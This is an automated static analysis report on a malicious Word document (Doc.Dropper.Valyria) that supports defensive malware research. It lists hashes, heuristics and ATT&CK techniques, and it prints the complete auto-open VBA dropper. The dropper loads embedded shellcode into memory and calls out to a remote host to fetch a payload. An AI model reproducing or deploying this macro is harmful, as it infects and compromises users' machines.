Doc.Dropper.Valyria-6680543-0 — Office (OOXML) malware analysis

Static analysis result for SHA-256 86c0f54a33b350f7…

MALICIOUS

Office (OOXML)

19.1 KB Created: 2013-12-19 10:09:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2015-09-18
MD5: 2882e2fc57b3a8c0cb8f944235fa8620 SHA-1: 8c78c17db2f0ec1febe987c2177c587e0d1a69c1 SHA-256: 86c0f54a33b350f7e1b897764fe96ddc1797d0e699f334ed9899eac0ae4e0c48
166 Risk Score

Malware Insights

Doc.Dropper.Valyria-6680543-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Dropper.Valyria-6680543-0. It contains VBA macros, including an Auto_Open subroutine, which are designed to execute automatically when the document is opened. These macros utilize Windows API functions like CreateThread and VirtualAlloc, strongly suggesting they are intended to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3561 bytes
SHA-256: b39ff0368dbf8d1ceae5c5834ac963b9e03d882170127e4de7bb5ceec9fb0265
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Wathfnzzw As Long, ByVal Xxw As Long, ByVal Hpxmou As LongPtr, Nxwlsq As Long, ByVal Hqojdhlah As Long, Vxcf As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Pbjdhut As Long, ByVal Pypdbwrrg As Long, ByVal Ukk As Long, ByVal Cupkifxq As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Blg As LongPtr, ByRef Sumfgzmt As Any, ByVal Kik As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Wathfnzzw As Long, ByVal Xxw As Long, ByVal Hpxmou As Long, Nxwlsq As Long, ByVal Hqojdhlah As Long, Vxcf As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Pbjdhut As Long, ByVal Pypdbwrrg As Long, ByVal Ukk As Long, ByVal Cupkifxq As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Blg As Long, ByRef Sumfgzmt As Any, ByVal Kik As Long) As Long
#End If

Sub Auto_Open()
    Dim Wekiyl As Long, Svdyoayg As Variant, Mqqw As Long
#If VBA7 Then
    Dim Iietzxd As LongPtr, Dgss As LongPtr
#Else
    Dim Iietzxd As Long, Dgss As Long
#End If
    Svdyoayg = Array(232, 137, 0, 0, 0, 96, 137, 229, 49, 210, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, _
139, 114, 40, 15, 183, 74, 38, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, _
13, 1, 199, 226, 240, 82, 87, 139, 82, 16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, _
116, 74, 1, 208, 80, 139, 72, 24, 139, 88, 32, 1, 211, 227, 60, 73, 139, 52, 139, 1, _
214, 49, 255, 49, 192, 172, 193, 207, 13, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, _
36, 117, 226, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, _
139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, _
235, 134, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, _
213, 49, 255, 87, 87, 87, 87, 106, 0, 84, 104, 58, 86, 121, 167, 255, 213, 235, 95, 91, _
49, 201, 81, 81, 106, 3, 81, 81, 104, 187, 1, 0, 0, 83, 80, 104, 87, 137, 159, 198, _
255, 213, 235, 72, 89, 49, 210, 82, 104, 0, 50, 160, 132, 82, 82, 82, 81, 82, 80, 104, _
235, 85, 46, 59, 255, 213, 137, 198, 106, 16, 91, 104, 128, 51, 0, 0, 137, 224, 106, 4, _
80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 49, 255, 87, 87, 87, 87, 86, 104, 45, _
6, 24, 123, 255, 213, 133, 192, 117, 26, 75, 116, 16, 235, 213, 235, 73, 232, 179, 255, 255, _
255, 47, 109, 70, 68, 101, 0, 0, 104, 240, 181, 162, 86, 255, 213, 106, 64, 104, 0, 16, _
0, 0, 104, 0, 0, 64, 0, 87, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, _
87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 205, 139, _
7, 1, 195, 133, 192, 117, 229, 88, 195, 232, 81, 255, 255, 255, 49, 57, 50, 46, 49, 54, _
56, 46, 50, 51, 51, 46, 49, 50, 55, 0)
    Iietzxd = VirtualAlloc(0, UBound(Svdyoayg), &H1000, &H40)
    For Mqqw = LBound(Svdyoayg) To UBound(Svdyoayg)
        Wekiyl = Svdyoayg(Mqqw)
        Dgss = RtlMoveMemory(Iietzxd + Mqqw, Wekiyl, 1)
    Next Mqqw
    Dgss = CreateThread(0, 0, Iietzxd, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 832d06465cb239168e8c8dcd046b5f1f6d712c275544420a5e73bfa2388b3d05
Detection
ClamAV: Doc.Dropper.Valyria-6680543-0
Obfuscation or payload: unlikely

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